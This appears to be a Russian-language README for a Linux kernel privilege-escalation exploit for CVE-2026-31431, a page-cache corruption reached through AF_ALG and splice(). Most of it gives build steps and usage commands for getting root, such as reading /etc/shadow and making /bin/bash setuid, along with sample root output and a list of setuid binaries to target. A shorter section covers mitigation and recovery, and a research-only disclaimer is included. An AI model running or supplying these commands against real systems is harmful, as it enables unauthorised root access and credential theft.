
Эксплойт для CVE-2026-31431, уязвимости повреждения page cache в ядре Linux, предоставляющий интерактивную root-оболочку и неинтерактивное выполнение команд через цепочки AF_ALG и splice().
Инструмент эксплуатации уязвимости загрязнения page cache в ядре Linux с поддержкой неинтерактивного выполнения команд.
CVE-2026-31431 — это логическая ошибка в ядре Linux, присутствующая в реализации AEAD-алгоритма authencesn. Через цепочку системных вызовов AF_ALG и splice() атакующий может записать 4 байта данных в page cache любого читаемого файла.
Затронутые версии:
Особенности уязвимости:
.
├── copyfail_universal.c # Исходный код основного POC (статическая компиляция, без зависимостей от libc)
├── copyfail_universal # Скомпилированный бинарный файл
├── run_cmd.sh # Wrapper-скрипт для неинтерактивного выполнения
├── Makefile # Скрипт сборки
└── README.md # Данный документ
# Способ 1: с использованием gcc и ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# Способ 2: с использованием Makefile
make
./copyfail_universal
# Способ 1: с использованием wrapper-скрипта (рекомендуется)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# Способ 2: через конвейер
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# Способ 3: с использованием переменной окружения
CMD='whoami' ./copyfail_universal
# Цель по умолчанию — /usr/bin/su
# Другую цель можно указать, изменив переменную path в исходном коде
# Часто доступные цели:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
Уязвимость изменяет только page cache, не затрагивая файлы на диске. Для восстановления выполните следующую команду:
sync; echo 3 > /proc/sys/vm/drop_caches
Скрипт run_cmd.sh уже включает функцию автоматического восстановления.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
Поиск всех программ setuid в системе:
find / -perm -4000 -user root -type f 2>/dev/null
Обновление ядра — обновитесь до версии ядра, содержащей патч a664bf3d603d
Временное смягчение — отключите модуль algif_aead:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
Контейнерные среды — используйте seccomp для блокировки создания сокетов AF_ALG
authencesn использует целевой буфер в качестве временного хранилища, записывая 4 байта за границыsplice()Данный инструмент предназначен исключительно для исследований в области безопасности и авторизованного тестирования. Использование данного инструмента для атак на неавторизованные системы является незаконным. Пользователь несёт полную юридическую ответственность.
| Программа | Путь | Доступность |
|---|
| su | /usr/bin/su | ✅ По умолчанию |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |